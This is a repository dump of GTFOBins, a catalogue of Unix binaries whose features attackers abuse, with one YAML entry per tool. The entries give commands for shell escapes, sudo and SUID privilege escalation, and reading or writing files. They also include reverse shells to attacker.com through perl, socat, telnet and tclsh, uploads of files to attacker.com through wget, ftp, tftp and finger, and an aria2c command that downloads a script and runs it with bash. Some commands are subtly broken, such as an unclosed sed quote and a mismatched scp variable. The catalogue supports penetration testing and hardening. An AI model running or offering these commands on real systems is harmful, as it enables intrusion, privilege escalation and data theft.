11 | - code: /lib/ld.so /bin/sh 12 | suid: 13 | - code: ./ld.so /bin/sh -p 14 | sudo: 15 | - code: sudo /lib/ld.so /bin/sh 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/mv.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: This can be used to move and then read or write files from a restricted file systems or with elevated privileges. 3 | functions: 4 | suid: 5 | - code: | 6 | LFILE=file_to_write 7 | TF=$(mktemp) 8 | echo "DATA" > $TF 9 | ./mv $TF $LFILE 10 | sudo: 11 | - code: | 12 | LFILE=file_to_write 13 | TF=$(mktemp) 14 | echo "DATA" > $TF 15 | sudo mv $TF $LFILE 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/red.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Read and write files limited to the current directory. 3 | functions: 4 | file-write: 5 | - code: | 6 | red file_to_write 7 | a 8 | DATA 9 | . 10 | w 11 | q 12 | file-read: 13 | - code: | 14 | red file_to_read 15 | ,p 16 | q 17 | sudo: 18 | - code: | 19 | sudo red file_to_write 20 | a 21 | DATA 22 | . 23 | w 24 | q 25 | --- 26 | -------------------------------------------------------------------------------- /_gtfobins/ed.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | ed 6 | !/bin/sh 7 | file-write: 8 | - code: | 9 | ed file_to_write 10 | a 11 | DATA 12 | . 13 | w 14 | q 15 | file-read: 16 | - code: | 17 | ed file_to_read 18 | ,p 19 | q 20 | sudo: 21 | - code: | 22 | sudo ed 23 | !/bin/sh 24 | limited-suid: 25 | - code: | 26 | ./ed 27 | !/bin/sh 28 | --- 29 | -------------------------------------------------------------------------------- /_gtfobins/od.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Three spaces are added before each character in the read file, and non-printable chars are printed as backslash escape sequences. 3 | functions: 4 | file-read: 5 | - code: | 6 | LFILE=file_to_read 7 | od -An -c -w9999 "$LFILE" 8 | suid: 9 | - code: | 10 | LFILE=file_to_read 11 | ./od -An -c -w9999 "$LFILE" 12 | sudo: 13 | - code: | 14 | LFILE=file_to_read 15 | sudo od -An -c -w9999 "$LFILE" 16 | --- 17 | -------------------------------------------------------------------------------- /_gtfobins/vi.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Modern Unix systems run [`vim`](/gtfobins/vim/) binary when `vi` is called. 3 | functions: 4 | shell: 5 | - code: vi -c ':!/bin/sh' /dev/null 6 | - code: | 7 | vi 8 | :set shell=/bin/sh 9 | :shell 10 | file-write: 11 | - code: | 12 | vi file_to_write 13 | iDATA 14 | ^[ 15 | w 16 | file-read: 17 | - code: vi file_to_read 18 | sudo: 19 | - code: sudo vi -c ':!/bin/sh' /dev/null 20 | --- 21 | -------------------------------------------------------------------------------- /_gtfobins/less.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | less /etc/profile 6 | !/bin/sh 7 | - code: | 8 | VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile 9 | v 10 | file-read: 11 | - code: less file_to_read 12 | file-write: 13 | - code: | 14 | echo DATA | less 15 | sfile_to_write 16 | q 17 | sudo: 18 | - code: | 19 | sudo less /etc/profile 20 | !/bin/sh 21 | suid: 22 | - code: ./less file_to_read 23 | --- 24 | -------------------------------------------------------------------------------- /_gtfobins/date.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files. 4 | 5 | This only works for the GNU variant of `date`. 6 | functions: 7 | file-read: 8 | - code: | 9 | LFILE=file_to_read 10 | date -f $LFILE 11 | suid: 12 | - code: | 13 | LFILE=file_to_read 14 | ./date -f $LFILE 15 | sudo: 16 | - code: | 17 | LFILE=file_to_read 18 | sudo date -f $LFILE 19 | --- 20 | -------------------------------------------------------------------------------- /_gtfobins/grep.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | There are many `grep` flavors that in many cases are just copies, symlinks or wrappers around the original binary that may share the same behavior, for example: `egrep`, `fgrep`, `zgrep`, etc. 4 | functions: 5 | file-read: 6 | - code: | 7 | LFILE=file_to_read 8 | grep '' $LFILE 9 | suid: 10 | - code: | 11 | LFILE=file_to_read 12 | ./grep '' $LFILE 13 | sudo: 14 | - code: | 15 | LFILE=file_to_read 16 | sudo grep '' $LFILE 17 | --- 18 | -------------------------------------------------------------------------------- /_gtfobins/mail.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: This creates a valid Mbox file which may be required by the binary. 5 | code: | 6 | TF=$(mktemp) 7 | echo "From nobody@localhost $(date)" > $TF 8 | mail -f $TF 9 | !/bin/sh 10 | sudo: 11 | - description: This creates a valid Mbox file which may be required by the binary. 12 | code: | 13 | TF=$(mktemp) 14 | echo "From nobody@localhost $(date)" > $TF 15 | sudo mail -f $TF 16 | !/bin/sh 17 | --- 18 | -------------------------------------------------------------------------------- /_gtfobins/ftp.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | ftp 6 | !/bin/sh 7 | file-upload: 8 | - description: Send local file to a FTP server. 9 | code: | 10 | RHOST=attacker.com 11 | ftp $RHOST 12 | put file_to_send 13 | file-download: 14 | - description: Fetch a remote file from a FTP server. 15 | code: | 16 | RHOST=attacker.com 17 | ftp $RHOST 18 | get file_to_get 19 | sudo: 20 | - code: | 21 | sudo ftp 22 | !/bin/sh 23 | --- 24 | -------------------------------------------------------------------------------- /_gtfobins/readelf.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results. 4 | functions: 5 | file-read: 6 | - code: | 7 | LFILE=file_to_read 8 | readelf -a @$LFILE 9 | suid: 10 | - code: | 11 | LFILE=file_to_read 12 | ./readelf -a @$LFILE 13 | sudo: 14 | - code: | 15 | LFILE=file_to_read 16 | sudo readelf -a @$LFILE 17 | --- 18 | -------------------------------------------------------------------------------- /_gtfobins/tcpdump.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: These require some traffic to be actually captured. Also note that the subprocess is immediately sent to the background. 3 | functions: 4 | command: 5 | - code: | 6 | COMMAND='id' 7 | TF=$(mktemp) 8 | echo "$COMMAND" > $TF 9 | chmod +x $TF 10 | tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF 11 | sudo: 12 | - code: | 13 | COMMAND='id' 14 | TF=$(mktemp) 15 | echo "$COMMAND" > $TF 16 | chmod +x $TF 17 | sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF 18 | --- 19 | -------------------------------------------------------------------------------- /_gtfobins/sqlite3.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: sqlite3 /dev/null '.shell /bin/sh' 5 | file-write: 6 | - code: | 7 | LFILE=file_to_write 8 | sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";' 9 | file-read: 10 | - code: | 11 | LFILE=file_to_read 12 | sqlite3 << EOF 13 | CREATE TABLE t(line TEXT); 14 | .import $LFILE t 15 | SELECT * FROM t; 16 | EOF 17 | sudo: 18 | - code: sudo sqlite3 /dev/null '.shell /bin/sh' 19 | limited-suid: 20 | - code: "./sqlite3 /dev/null '.shell /bin/sh'" 21 | --- 22 | -------------------------------------------------------------------------------- /_gtfobins/apt.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. 5 | code: | 6 | apt-get changelog apt 7 | !/bin/sh 8 | sudo: 9 | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. 10 | code: | 11 | sudo apt-get changelog apt 12 | !/bin/sh 13 | - description: For this to work the target package (e.g., `sl`) must not be installed. 14 | code: sudo apt install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/docker.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`. 4 | functions: 5 | sudo: 6 | - code: | 7 | sudo docker run --rm -v /home/$USER:/h_docs ubuntu \ 8 | sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p 9 | suid: 10 | - code: | 11 | ./docker run --rm -v /home/$USER:/h_docs ubuntu \ 12 | sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p 13 | --- 14 | -------------------------------------------------------------------------------- /_gtfobins/openssl.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-write: 4 | - code: | 5 | LFILE=file_to_write 6 | echo DATA | openssl enc -out "$LFILE" 7 | - code: | 8 | LFILE=file_to_write 9 | TF=$(mktemp) 10 | echo "DATA" > $TF 11 | openssl enc -in "$TF" -out "$LFILE" 12 | file-read: 13 | - code: | 14 | LFILE=file_to_read 15 | openssl enc -in "$LFILE" 16 | suid: 17 | - code: | 18 | LFILE=file_to_write 19 | echo DATA | openssl enc -out "$LFILE" 20 | sudo: 21 | - code: | 22 | LFILE=file_to_write 23 | echo DATA | sudo openssl enc -out "$LFILE" 24 | --- 25 | -------------------------------------------------------------------------------- /_gtfobins/apt-get.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. 5 | code: | 6 | apt-get changelog apt 7 | !/bin/sh 8 | sudo: 9 | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. 10 | code: | 11 | sudo apt-get changelog apt 12 | !/bin/sh 13 | - description: For this to work the target package (e.g., `sl`) must not be installed. 14 | code: sudo apt-get install -c <(echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}') sl 15 | --- 16 | -------------------------------------------------------------------------------- /_gtfobins/wish.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | wish 6 | exec /bin/sh <@stdin >@stdout 2>@stderr 7 | non-interactive-reverse-shell: 8 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 9 | code: | 10 | export RHOST=attacker.com 11 | export RPORT=12345 12 | echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | wish 13 | sudo: 14 | - code: | 15 | sudo wish 16 | exec /bin/sh <@stdin >@stdout 2>@stderr 17 | --- 18 | -------------------------------------------------------------------------------- /_gtfobins/sftp.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | HOST=user@attacker.com 6 | sftp $HOST 7 | !/bin/sh 8 | file-upload: 9 | - description: Send local file to a SSH server. 10 | code: | 11 | RHOST=user@attacker.com 12 | sftp $RHOST 13 | put file_to_send file_to_save 14 | file-download: 15 | - description: Fetch a remote file from a SSH server. 16 | code: | 17 | RHOST=user@attacker.com 18 | sftp $RHOST 19 | get file_to_get file_to_save 20 | sudo: 21 | - code: | 22 | HOST=user@attacker.com 23 | sudo sftp $HOST 24 | !/bin/sh 25 | --- 26 | -------------------------------------------------------------------------------- /_gtfobins/file.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files. 4 | 5 | If a line in the target file begins with a `#`, it will not be printed as these lines are parsed as comments. 6 | 7 | It can also be provided with a directory and will read each file in the directory. 8 | functions: 9 | file-read: 10 | - code: | 11 | LFILE=file_to_read 12 | file -m $LFILE 13 | suid: 14 | - code: | 15 | LFILE=file_to_read 16 | ./file -m $LFILE 17 | sudo: 18 | - code: | 19 | LFILE=file_to_read 20 | sudo file -m $LFILE 21 | --- 22 | -------------------------------------------------------------------------------- /_gtfobins/nano.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | TF=$(mktemp) 6 | echo 'exec sh' > $TF 7 | chmod +x $TF 8 | nano -s $TF /etc/hosts 9 | ^T 10 | file-write: 11 | - code: | 12 | nano file_to_write 13 | DATA 14 | ^O 15 | file-read: 16 | - code: nano file_to_read 17 | suid: 18 | - code: | 19 | TF=$(mktemp) 20 | echo 'exec sh -p' > $TF 21 | chmod +x $TF 22 | ./nano -s $TF /etc/hosts 23 | ^T 24 | sudo: 25 | - code: | 26 | TF=$(mktemp) 27 | echo 'exec sh' > $TF 28 | chmod +x $TF 29 | sudo nano -s $TF /etc/hosts 30 | ^T 31 | --- 32 | -------------------------------------------------------------------------------- /_gtfobins/pico.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | TF=$(mktemp) 6 | echo 'exec sh' > $TF 7 | chmod +x $TF 8 | pico -s $TF /etc/hosts 9 | ^T 10 | file-write: 11 | - code: | 12 | pico file_to_write 13 | DATA 14 | ^O 15 | file-read: 16 | - code: pico file_to_read 17 | suid: 18 | - code: | 19 | TF=$(mktemp) 20 | echo 'exec sh -p' > $TF 21 | chmod +x $TF 22 | ./pico -s $TF /etc/hosts 23 | ^T 24 | sudo: 25 | - code: | 26 | TF=$(mktemp) 27 | echo 'exec sh' > $TF 28 | chmod +x $TF 29 | sudo pico -s $TF /etc/hosts 30 | ^T 31 | --- 32 | -------------------------------------------------------------------------------- /_gtfobins/rlogin.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | Usually `rlogin` is a symlink to `ssh`, the following works only when the *real* `rlogin` is used (e.g., from the `rsh-client` APT package). 4 | functions: 5 | file-upload: 6 | - description: | 7 | Send contents of a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker system to capture the contents. 8 | 9 | `rlogin` hangs waiting for the remote peer to close the socket. 10 | 11 | The file is corrupted by leading and trailing spurious data. 12 | code: | 13 | RHOST=attacker.com 14 | RPORT=12345 15 | LFILE=file_to_send 16 | rlogin -l "$(cat $LFILE)" -p $RPORT $RHOST 17 | --- 18 | -------------------------------------------------------------------------------- /_gtfobins/sed.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: GNU version only. Also, this requires `bash`. 5 | code: sed -n '1e exec sh 1>&0' /etc/hosts 6 | command: 7 | - description: GNU version only. 8 | code: sed -n "1e id" /etc/hosts 9 | file-write: 10 | - code: | 11 | LFILE=file_to_write 12 | sed -n '1e exec sh 1>&0 /etc/hosts 13 | file-read: 14 | - code: | 15 | LFILE=file_to_read 16 | sed '' "$LFILE" 17 | suid: 18 | - code: | 19 | LFILE=file_to_read 20 | ./sed -e '' "$LFILE" 21 | sudo: 22 | - description: GNU version only. Also, this requires `bash`. 23 | code: sudo sed -n '1e exec sh 1>&0 /etc/hosts 24 | --- 25 | -------------------------------------------------------------------------------- /_gtfobins/perl.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: perl -e 'exec "/bin/sh";' 5 | reverse-shell: 6 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 7 | code: | 8 | export RHOST=attacker.com 9 | export RPORT=12345 10 | perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 11 | suid: 12 | - code: ./perl -e 'exec "/bin/sh";' 13 | sudo: 14 | - code: sudo perl -e 'exec "/bin/sh";' 15 | capabilities: 16 | - code: ./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' 17 | --- 18 | -------------------------------------------------------------------------------- /_gtfobins/puppet.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }" 6 | file-write: 7 | - description: The file path must be absolute. 8 | code: | 9 | export LFILE="/tmp/file_to_write" 10 | puppet apply -e "file { '$LFILE': content => 'DATA' }" 11 | file-read: 12 | - description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed. 13 | code: | 14 | export LFILE=file_to_read 15 | puppet filebucket -l diff /dev/null $LFILE 16 | sudo: 17 | - code: | 18 | sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }" 19 | --- 20 | -------------------------------------------------------------------------------- /_gtfobins/tftp.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-upload: 4 | - description: Send local file to a TFTP server. 5 | code: | 6 | RHOST=attacker.com 7 | tftp $RHOST 8 | put file_to_send 9 | file-download: 10 | - description: Fetch a remote file from a TFTP server. 11 | code: | 12 | RHOST=attacker.com 13 | tftp $RHOST 14 | get file_to_get 15 | suid: 16 | - description: Send local file to a TFTP server. 17 | code: | 18 | RHOST=attacker.com 19 | ./tftp $RHOST 20 | put file_to_send 21 | sudo: 22 | - description: Send local file to a TFTP server. 23 | code: | 24 | RHOST=attacker.com 25 | sudo -E tftp $RHOST 26 | put file_to_send 27 | --- 28 | -------------------------------------------------------------------------------- /_gtfobins/make.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: All these examples only work with GNU `make` due to the lack of support of the `--eval` flag. The same can be achieved by using a proper `Makefile` or by passing the content via stdin using `-f -`. 3 | functions: 4 | shell: 5 | - code: | 6 | COMMAND='/bin/sh' 7 | make -s --eval=$'x:\n\t-'"$COMMAND" 8 | file-write: 9 | - description: Requires a newer GNU `make` version. 10 | code: | 11 | LFILE=file_to_write 12 | make -s --eval="\$(file >$LFILE,DATA)" . 13 | suid: 14 | - code: | 15 | COMMAND='/bin/sh -p' 16 | ./make -s --eval=$'x:\n\t-'"$COMMAND" 17 | sudo: 18 | - code: | 19 | COMMAND='/bin/sh' 20 | sudo make -s --eval=$'x:\n\t-'"$COMMAND" 21 | --- 22 | -------------------------------------------------------------------------------- /_gtfobins/tclsh.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | tclsh 6 | exec /bin/sh <@stdin >@stdout 2>@stderr 7 | non-interactive-reverse-shell: 8 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 9 | code: | 10 | export RHOST=attacker.com 11 | export RPORT=12345 12 | echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh 13 | suid: 14 | - code: | 15 | ./tclsh 16 | exec /bin/sh -p <@stdin >@stdout 2>@stderr 17 | sudo: 18 | - code: | 19 | sudo tclsh 20 | exec /bin/sh <@stdin >@stdout 2>@stderr 21 | --- 22 | -------------------------------------------------------------------------------- /_gtfobins/finger.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: | 3 | `finger` hangs waiting for the remote peer to close the socket. 4 | functions: 5 | file-upload: 6 | - description: Send a binary file to a TCP port. Run `sudo nc -l -p 79 | base64 -d > "file_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments. 7 | code: | 8 | RHOST=attacker.com 9 | LFILE=file_to_send 10 | finger "$(base64 $LFILE)@$RHOST" 11 | file-download: 12 | - description: Fetch remote binary file from a remote TCP port. Run `base64 "file_to_send" | sudo nc -l -p 79` on the attacker box to send the file. 13 | code: | 14 | RHOST=attacker.com 15 | LFILE=file_to_save 16 | finger x@$RHOST | base64 -d > "$LFILE" 17 | --- 18 | -------------------------------------------------------------------------------- /_gtfobins/xargs.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: GNU version only. 5 | code: xargs -a /dev/null sh 6 | - code: echo x | xargs -Iy sh -c 'exec sh 0<&1' 7 | - description: Read interactively from `stdin`. 8 | code: | 9 | xargs -Ix sh -c 'exec sh 0<&1' 10 | x^D^D 11 | file-read: 12 | - description: This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only. 13 | code: | 14 | LFILE=file_to_read 15 | xargs -a "$LFILE" -0 16 | suid: 17 | - description: GNU version only. 18 | code: ./xargs -a /dev/null sh -p 19 | sudo: 20 | - description: GNU version only. 21 | code: sudo xargs -a /dev/null sh 22 | --- 23 | -------------------------------------------------------------------------------- /_gtfobins/busybox.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: BusyBox may contain many UNIX utilities, run `busybox --list-full` to check what GTFBins binaries are supported. Here some example. 3 | functions: 4 | shell: 5 | - code: busybox sh 6 | file-upload: 7 | - description: Serve files in the local folder running an HTTP server. 8 | code: | 9 | export LPORT=12345 10 | busybox httpd -f -p $LPORT -h . 11 | file-write: 12 | - code: | 13 | LFILE=file_to_write 14 | busybox sh -c 'echo "DATA" > $LFILE' 15 | file-read: 16 | - code: | 17 | LFILE=file_to_read 18 | ./busybox cat "$LFILE" 19 | suid: 20 | - description: It may drop the SUID privileges depending on the compilation flags and the runtime configuration. 21 | code: "./busybox sh" 22 | sudo: 23 | - code: sudo busybox sh 24 | --- 25 | -------------------------------------------------------------------------------- /_gtfobins/scp.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: | 5 | TF=$(mktemp) 6 | echo 'sh 0<&2 1>&2' > $TF 7 | chmod +x "$TF" 8 | scp -S $TF x y: 9 | file-upload: 10 | - description: Send local file to a SSH server. 11 | code: | 12 | RPATH=user@attacker.com:~/file_to_save 13 | LPATH=file_to_send 14 | scp $LFILE $RPATH 15 | file-download: 16 | - description: Fetch a remote file from a SSH server. 17 | code: | 18 | RPATH=user@attacker.com:~/file_to_get 19 | LFILE=file_to_save 20 | scp $RPATH $LFILE 21 | sudo: 22 | - code: | 23 | TF=$(mktemp) 24 | echo 'sh 0<&2 1>&2' > $TF 25 | chmod +x "$TF" 26 | sudo scp -S $TF x y: 27 | limited-suid: 28 | - code: | 29 | TF=$(mktemp) 30 | echo 'sh 0<&2 1>&2' > $TF 31 | chmod +x "$TF" 32 | ./scp -S $TF a b: 33 | --- 34 | -------------------------------------------------------------------------------- /_gtfobins/run-mailcap.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. 5 | code: | 6 | run-mailcap --action=view /etc/hosts 7 | !/bin/sh 8 | file-read: 9 | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. 10 | code: run-mailcap --action=view file_to_read 11 | file-write: 12 | - description: | 13 | The file must exist and be not empty. 14 | 15 | This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. 16 | code: run-mailcap --action=edit file_to_read 17 | sudo: 18 | - description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. 19 | code: | 20 | sudo run-mailcap --action=view /etc/hosts 21 | !/bin/sh 22 | --- 23 | -------------------------------------------------------------------------------- /_gtfobins/telnet.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: BSD version only. Needs to be connected first. 5 | code: | 6 | RHOST=attacker.com 7 | RPORT=12345 8 | telnet $RHOST $RPORT 9 | ^] 10 | !/bin/sh 11 | reverse-shell: 12 | - description: Run `nc -l -p 12345` on the attacker box to receive the shell. 13 | code: | 14 | RHOST=attacker.com 15 | RPORT=12345 16 | TF=$(mktemp -u) 17 | mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/sh 1>$TF 18 | sudo: 19 | - description: BSD version only. Needs to be connected first. 20 | code: | 21 | RHOST=attacker.com 22 | RPORT=12345 23 | sudo telnet $RHOST $RPORT 24 | ^] 25 | !/bin/sh 26 | limited-suid: 27 | - description: BSD version only. Needs to be connected first. 28 | code: | 29 | RHOST=attacker.com 30 | RPORT=12345 31 | ./telnet $RHOST $RPORT 32 | ^] 33 | !/bin/sh 34 | --- 35 | -------------------------------------------------------------------------------- /_gtfobins/aria2c.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: Note that the subprocess is immediately sent to the background. 3 | functions: 4 | command: 5 | - code: | 6 | COMMAND='id' 7 | TF=$(mktemp) 8 | echo "$COMMAND" > $TF 9 | chmod +x $TF 10 | aria2c --on-download-error=$TF http://x 11 | - description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID. 12 | code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa 13 | suid: 14 | - code: | 15 | COMMAND='id' 16 | TF=$(mktemp) 17 | echo "$COMMAND" > $TF 18 | chmod +x $TF 19 | ./aria2c --on-download-error=$TF http://x 20 | sudo: 21 | - code: | 22 | COMMAND='id' 23 | TF=$(mktemp) 24 | echo "$COMMAND" > $TF 25 | chmod +x $TF 26 | sudo aria2c --on-download-error=$TF http://x 27 | --- 28 | -------------------------------------------------------------------------------- /index.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: page 3 | title: GTFOBins 4 | --- 5 | 6 | ![logo](/assets/logo.png){:.logo} 7 | 8 | GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. 9 | 10 | The project collects legitimate functions of Unix binaries that can be abused to get the f**k break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. See the full list of [functions](/functions/). 11 | 12 | This was inspired by the [LOLBins] project for Windows. 13 | 14 | GTFOBins is a [collaborative] project created by [norbemi] and [cyrus_and] where everyone can [contribute] with additional binaries and techniques. 15 | 16 | [functions]: /functions/ 17 | [LOLBins]: https://github.com/api0cradle/LOLBAS 18 | [collaborative]: https://github.com/GTFOBins/GTFOBins.github.io/graphs/contributors 19 | [contribute]: /contribute/ 20 | [norbemi]: https://twitter.com/norbemi 21 | [cyrus_and]: https://twitter.com/cyrus_and 22 | 23 | {% include bin_table.html %} 24 | -------------------------------------------------------------------------------- /_gtfobins/ssh.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - description: Reconnecting may help bypassing restricted shells. 5 | code: ssh localhost $SHELL --noprofile --norc 6 | - description: Spawn interactive shell through ProxyCommand option. 7 | code: ssh -o ProxyCommand=';sh 0<&2 1>&2' x 8 | file-upload: 9 | - description: Send local file to a SSH server. 10 | code: | 11 | HOST=user@attacker.com 12 | RPATH=file_to_save 13 | LPATH=file_to_send 14 | ssh $HOST "cat > $RPATH" < $LPATH 15 | file-download: 16 | - description: Fetch a remote file from a SSH server. 17 | code: | 18 | HOST=user@attacker.com 19 | RPATH=file_to_get 20 | LPATH=file_to_save 21 | ssh $HOST "cat $RPATH" > $LPATH 22 | file-read: 23 | - description: The read file content is corrupted by error prints. 24 | code: | 25 | LFILE=file_to_read 26 | ssh -F $LFILE localhost 27 | sudo: 28 | - description: Spawn interactive root shell through ProxyCommand option. 29 | code: sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x 30 | --- 31 | -------------------------------------------------------------------------------- /_gtfobins/wget.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | file-upload: 4 | - description: Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use `--post-data` to send hard-coded data. 5 | code: | 6 | export URL=http://attacker.com/ 7 | export LFILE=file_to_send 8 | wget --post-file=$LFILE $URL 9 | file-download: 10 | - description: Fetch a remote file via HTTP GET request. 11 | code: | 12 | export URL=http://attacker.com/file_to_get 13 | export LFILE=file_to_save 14 | wget $URL -O $LFILE 15 | suid: 16 | - description: Fetch a remote file via HTTP GET request. 17 | code: | 18 | export URL=http://attacker.com/file_to_get 19 | export LFILE=file_to_save 20 | ./wget $URL -O $LFILE 21 | sudo: 22 | - description: Fetch a remote file via HTTP GET request. 23 | code: | 24 | export URL=http://attacker.com/file_to_get 25 | export LFILE=file_to_save 26 | sudo -E wget $URL -O $LFILE 27 | --- 28 | -------------------------------------------------------------------------------- /_gtfobins/socat.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | reverse-shell: 4 | - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. 5 | code: | 6 | RHOST=attacker.com 7 | RPORT=12345 8 | socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane 9 | bind-shell: 10 | - description: Run ``socat FILE:`tty`,raw,echo=0 TCP:target.com:12345`` on the attacker box to connect to the shell. 11 | code: | 12 | LPORT=12345 13 | socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane 14 | sudo: 15 | - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. 16 | code: | 17 | RHOST=attacker.com 18 | RPORT=12345 19 | sudo -E socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane 20 | limited-suid: 21 | - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. 22 | code: | 23 | RHOST=attacker.com 24 | RPORT=12345 25 | ./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane 26 | --- 27 | -------------------------------------------------------------------------------- /_gtfobins/tar.md: -------------------------------------------------------------------------------- 1 | --- 2 | functions: 3 | shell: 4 | - code: tar 